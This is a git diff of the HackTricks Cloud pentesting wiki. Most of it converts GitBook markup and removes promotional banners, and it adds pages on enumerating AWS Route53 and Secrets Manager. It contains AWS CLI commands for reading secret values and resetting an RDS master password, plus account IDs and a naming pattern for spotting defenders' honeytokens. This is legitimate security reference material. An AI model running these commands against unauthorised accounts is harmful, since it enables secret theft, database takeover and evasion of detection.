-   * However, it's important to note that option groups are only available for specific database engines and versions.
+   - The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements.
+   - However, it's important to note that option groups are only available for specific database engines and versions.
 2. **Inclusion of TDE in Option Group**:
-   * Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group.
-   * It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed.
+   - Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group.
+   - It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed.
 3. **TDE Encryption Modes**:
-   * TDE offers two distinct encryption modes:
-     * **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection.
-     * **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted.
+   - TDE offers two distinct encryption modes:
+     - **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection.
+     - **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted.
 
 Understanding these prerequisites and the operational intricacies of TDE is crucial for effectively implementing and managing encryption within RDS, ensuring both data security and compliance with necessary standards.
 
 ### Enumeration
 
-{% code overflow="wrap" %}
 ```bash
 # Clusters info
 ## Get Endpoints, username, port, iam auth enabled, attached roles, SG
@@ -104,7 +90,7 @@ aws rds describe-db-security-groups
 aws rds describe-db-instance-automated-backups
 
 ## Find snapshots
-aws rds describe-db-snapshots 
+aws rds describe-db-snapshots
 aws rds describe-db-snapshots --include-public --snapshot-type public
 ## Restore snapshot as new instance
 aws rds restore-db-instance-from-db-snapshot --db-instance-identifier <ID> --db-snapshot-identifier <ID> --availability-zone us-west-2a
@@ -120,49 +106,37 @@ aws rds describe-db-proxy-targets
 ## reset credentials of MasterUsername
 aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password <NewPassword> --apply-immediately
 ```
-{% endcode %}
 
 ### Unauthenticated Access
 
-{% content-ref url="../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md" %}
-[aws-rds-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
+{{#endref}}
 
 ### Privesc
 
-{% content-ref url="../aws-privilege-escalation/aws-rds-privesc.md" %}
-[aws-rds-privesc.md](../aws-privilege-escalation/aws-rds-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-rds-privesc.md
+{{#endref}}
 
 ### Post Exploitation
 
-{% content-ref url="../aws-post-exploitation/aws-rds-post-exploitation.md" %}
-[aws-rds-post-exploitation.md](../aws-post-exploitation/aws-rds-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-rds-post-exploitation.md
+{{#endref}}
 
 ### Persistence
 
-{% content-ref url="../aws-persistence/aws-rds-persistence.md" %}
-[aws-rds-persistence.md](../aws-persistence/aws-rds-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-persistence/aws-rds-persistence.md
+{{#endref}}
 
 ### SQL Injection
 
 There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**.
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/sql-injection" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/sql-injection
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
new file mode 100644
index 000000000..2d806cac0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
@@ -0,0 +1,31 @@
+# AWS - Route53 Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Route 53
+
+Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\
+You can create https, http and tcp **health checks for web pages** via Route53.
+
+### IP-based routing <a href="#routing-policy-ipbased" id="routing-policy-ipbased"></a>
+
+This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\
+IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**.
+
+### Enumeration
+
+```bash
+aws route53 list-hosted-zones # Get domains
+aws route53 get-hosted-zone --id <hosted_zone_id>
+aws route53 list-resource-record-sets --hosted-zone-id <hosted_zone_id> # Get all records
+aws route53 list-health-checks
+aws route53 list-traffic-policies
+```
+
+### Privesc
+
+{{#ref}}
+../aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
similarity index 69%
rename from pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
index 8f64145bd..782731590 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
@@ -1,19 +1,6 @@
 # AWS - S3, Athena & Glacier Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## S3
 
@@ -47,16 +34,15 @@ A presigned URL can be **created from the cli using credentials of a principal w
  aws s3 presign --region <bucket-region> 's3://<bucket-name>/<file-name>'
 ```
 
-{% hint style="info" %}
-The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject`
-{% endhint %}
+> [!NOTE]
+> The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject`
 
 It's also possible to create presigned URLs with **other permissions**:
 
 ```python
 import boto3
 url = boto3.client('s3').generate_presigned_url(
-    ClientMethod='put_object', 
+    ClientMethod='put_object',
     Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'},
     ExpiresIn=3600
 )
@@ -72,12 +58,12 @@ url = boto3.client('s3').generate_presigned_url(
 
 This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key.
 
-* Encryption:
-  * Object Data + created plaintext DEK --> Encrypted data (stored inside S3)
-  * Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory
-* Decryption:
-  * Encrypted DEK + S3 Master Key --> Plaintext DEK
-  * Plaintext DEK + Encrypted data --> Object Data
+- Encryption:
+  - Object Data + created plaintext DEK --> Encrypted data (stored inside S3)
+  - Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory
+- Decryption:
+  - Encrypted DEK + S3 Master Key --> Plaintext DEK
+  - Plaintext DEK + Encrypted data --> Object Data
 
 Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control.
 
@@ -89,14 +75,14 @@ Please, note that in this case **the key is managed by AWS** (rotation only ever
 
 This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail.
 
-* Encryption:
-  * S3 request data keys from KMS CMK
-  * KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£
-  * S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key
-* Decryption:
-  * S3 ask to KMS to decrypt the encrypted data key of the object
-  * KMS decrypt the data key with the CMK and send it back to S3
-  * S3 decrypts the object data
+- Encryption:
+  - S3 request data keys from KMS CMK
+  - KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£
+  - S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key
+- Decryption:
+  - S3 ask to KMS to decrypt the encrypted data key of the object
+  - KMS decrypt the data key with the CMK and send it back to S3
+  - S3 decrypts the object data
 
 </details>
 
@@ -106,15 +92,15 @@ This method allows S3 to use the key management service to generate your data en
 
 This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you.
 
-* Encryption:
-  * The user sends the object data + Customer key to S3
-  * The customer key is used to encrypt the data and the encrypted data is stored
-  * a salted HMAC value of the customer key is stored also for future key validation
-  * the customer key is deleted from memory
-* Decryption:
-  * The user send the customer key
-  * The key is validated against the HMAC value stored
-  * The customer provided key is then used to decrypt the data
+- Encryption:
+  - The user sends the object data + Customer key to S3
+  - The customer key is used to encrypt the data and the encrypted data is stored
+  - a salted HMAC value of the customer key is stored also for future key validation
+  - the customer key is deleted from memory
+- Decryption:
+  - The user send the customer key
+  - The key is validated against the HMAC value stored
+  - The customer provided key is then used to decrypt the data
 
 </details>
 
@@ -124,15 +110,15 @@ This option gives you the opportunity to provide your own master key that you ma
 
 Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored.
 
-* Encryption:
-  * Client request for a data key to KMS
-  * KMS returns the plaintext DEK and the encrypted DEK with the CMK
-  * Both keys are sent back
-  * The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3)
-* Decryption:
-  * The encrypted data with the encrypted DEK is sent to the client
-  * The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK
-  * The client can now decrypt the encrypted data
+- Encryption:
+  - Client request for a data key to KMS
+  - KMS returns the plaintext DEK and the encrypted DEK with the CMK
+  - Both keys are sent back
+  - The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3)
+- Decryption:
+  - The encrypted data with the encrypted DEK is sent to the client
+  - The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK
+  - The client can now decrypt the encrypted data
 
 </details>
 
@@ -142,13 +128,13 @@ Similarly to SSE-KMS, this also uses the key management service to generate your
 
 Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage.
 
-* Encryption:
-  * The client generates a DEK and encrypts the plaintext data
-  * Then, using it's own custom CMK it encrypts the DEK
-  * submit the encrypted data + encrypted DEK to S3 where it's stored
-* Decryption:
-  * S3 sends the encrypted data and DEK
-  * As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data
+- Encryption:
+  - The client generates a DEK and encrypts the plaintext data
+  - Then, using it's own custom CMK it encrypts the DEK
+  - submit the encrypted data + encrypted DEK to S3 where it's stored
+- Decryption:
+  - S3 sends the encrypted data and DEK
+  - As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data
 
 </details>
 
@@ -255,34 +241,34 @@ You can access an S3 bucket through a dual-stack endpoint by using a virtual hos
 
 Dual-stack endpoints use the following syntax:
 
-* `bucketname.s3.dualstack.aws-region.amazonaws.com`
-* `s3.dualstack.aws-region.amazonaws.com/bucketname`
+- `bucketname.s3.dualstack.aws-region.amazonaws.com`
+- `s3.dualstack.aws-region.amazonaws.com/bucketname`
 
 ### Privesc
 
 In the following page you can check how to **abuse S3 permissions to escalate privileges**:
 
-{% content-ref url="../aws-privilege-escalation/aws-s3-privesc.md" %}
-[aws-s3-privesc.md](../aws-privilege-escalation/aws-s3-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-s3-privesc.md
+{{#endref}}
 
 ### Unauthenticated Access
 
-{% content-ref url="../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md" %}
-[aws-s3-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
+{{#endref}}
 
 ### S3 Post Exploitation
 
-{% content-ref url="../aws-post-exploitation/aws-s3-post-exploitation.md" %}
-[aws-s3-post-exploitation.md](../aws-post-exploitation/aws-s3-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-s3-post-exploitation.md
+{{#endref}}
 
 ### Persistence
 
-{% content-ref url="../aws-persistence/aws-s3-persistence.md" %}
-[aws-s3-persistence.md](../aws-persistence/aws-s3-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-persistence/aws-s3-persistence.md
+{{#endref}}
 
 ## Other S3 vulns
 
@@ -328,20 +314,7 @@ aws athena start-query-execution --query-string <query>
 
 ## References
 
-* [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3)
-* [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html)
+- [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3)
+- [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
new file mode 100644
index 000000000..282f983cb
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
@@ -0,0 +1,50 @@
+# AWS - Secrets Manager Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## AWS Secrets Manager
+
+AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications.
+
+The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions.
+
+The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies.
+
+For granting access to secrets to a user from a different AWS account, it's necessary to:
+
+1. Authorize the user to access the secret.
+2. Grant permission to the user to decrypt the secret using KMS.
+3. Modify the Key policy to allow the external user to utilize it.
+
+**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.**
+
+### **Enumeration**
+
+```bash
+aws secretsmanager list-secrets #Get metadata of all secrets
+aws secretsmanager list-secret-version-ids --secret-id <secret_name> # Get versions
+aws secretsmanager describe-secret --secret-id <secret_name> # Get metadata
+aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
+aws secretsmanager get-secret-value --secret-id <secret_name> --version-id <version-id> # Get value of a different version
+aws secretsmanager get-resource-policy --secret-id --secret-id <secret_name>
+```
+
+### Privesc
+
+{{#ref}}
+../aws-privilege-escalation/aws-secrets-manager-privesc.md
+{{#endref}}
+
+### Post Exploitation
+
+{{#ref}}
+../aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../aws-persistence/aws-secrets-manager-persistence.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md
similarity index 100%
rename from pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
similarity index 66%
rename from pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 4d1861534..1bfc0a4ef 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -1,19 +1,6 @@
 # AWS - CloudTrail Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## **CloudTrail**
 
@@ -21,16 +8,16 @@ AWS CloudTrail **records and monitors activity within your AWS environment**. It
 
 Each logged event contains:
 
-* The name of the called API: `eventName`
-* The called service: `eventSource`
-* The time: `eventTime`
-* The IP address: `SourceIPAddress`
-* The agent method: `userAgent`. Examples:
-  * Signing.amazonaws.com - From AWS Management Console
-  * console.amazonaws.com - Root user of the account
-  * lambda.amazonaws.com - AWS Lambda
-* The request parameters: `requestParameters`
-* The response elements: `responseElements`
+- The name of the called API: `eventName`
+- The called service: `eventSource`
+- The time: `eventTime`
+- The IP address: `SourceIPAddress`
+- The agent method: `userAgent`. Examples:
+  - Signing.amazonaws.com - From AWS Management Console
+  - console.amazonaws.com - Root user of the account
+  - lambda.amazonaws.com - AWS Lambda
+- The request parameters: `requestParameters`
+- The response elements: `responseElements`
 
 Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\
 CloudTrails logs can be **aggregated across accounts and across regions.**\
@@ -41,37 +28,36 @@ Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S
 
 The logs are stored in a **S3 bucket with this name format**:
 
-* **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
-* Being the BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
-* Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
+- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
+- Being the BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
+- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
 
 Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
 
 Log File Naming Convention
 
-![](<../../../../.gitbook/assets/image (122).png>)
+![](<../../../../images/image (122).png>)
 
 Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in:
 
-![](<../../../../.gitbook/assets/image (195).png>)
+![](<../../../../images/image (195).png>)
 
 ### Aggregate Logs from Multiple Accounts
 
-* Create a Trial in the AWS account where you want the log files to be delivered to
-* Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access
-* Create a new Trail in the other AWS accounts and select to use the created bucket in step 1
+- Create a Trial in the AWS account where you want the log files to be delivered to
+- Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access
+- Create a new Trail in the other AWS accounts and select to use the created bucket in step 1
 
 However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account.
 
-{% hint style="danger" %}
-Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets.
-{% endhint %}
+> [!CAUTION]
+> Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets.
 
 ### Cloudtrail from all org accounts into 1
 
 When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket:
 
-<figure><img src="../../../../.gitbook/assets/image (200).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
 
 This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect).
 
@@ -79,25 +65,23 @@ This way you can easily configure CloudTrail in all the regions of all the accou
 
 You can check that the logs haven't been altered by running
 
-{% code overflow="wrap" %}
 ```javascript
 aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
 ```
-{% endcode %}
 
 ### Logs to CloudWatch
 
 **CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\
 Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to:
 
-* CreateLogStream: This allows to create a CloudWatch Logs log streams
-* PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream
+- CreateLogStream: This allows to create a CloudWatch Logs log streams
+- PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream
 
 ### Event History
 
 CloudTrail Event History allows you to inspect in a table the logs that have been recorded:
 
-![](<../../../../.gitbook/assets/image (89).png>)
+![](<../../../../images/image (89).png>)
 
 ### Insights
 
@@ -116,11 +100,10 @@ The insights are stored in the same bucket as the CloudTrail logs in: `BucketNam
 
 AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns.
 
-{% hint style="success" %}
-Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them
-{% endhint %}
+> [!TIP]
+> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them
 
-<figure><img src="../../../../.gitbook/assets/image (78).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
 
 ## Actions
 
@@ -161,7 +144,9 @@ print(response)
 
 For more information about CSV Injections check the page:
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/formula-injection" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/formula-injection
+{{#endref}}
 
 For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
 
@@ -171,15 +156,15 @@ For more information about this specific technique check [https://rhinosecurityl
 
 Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key.
 
-However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new\&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**.
+However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**.
 
-[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new\&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
+[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
 
-* If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message.
-  * Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name.
-* If **`SpaceCrab`** appears in the role name in the error message
-* **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
-* If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken.
+- If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message.
+  - Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name.
+- If **`SpaceCrab`** appears in the role name in the error message
+- **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
+- If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken.
 
 #### Get the account ID from the Key ID
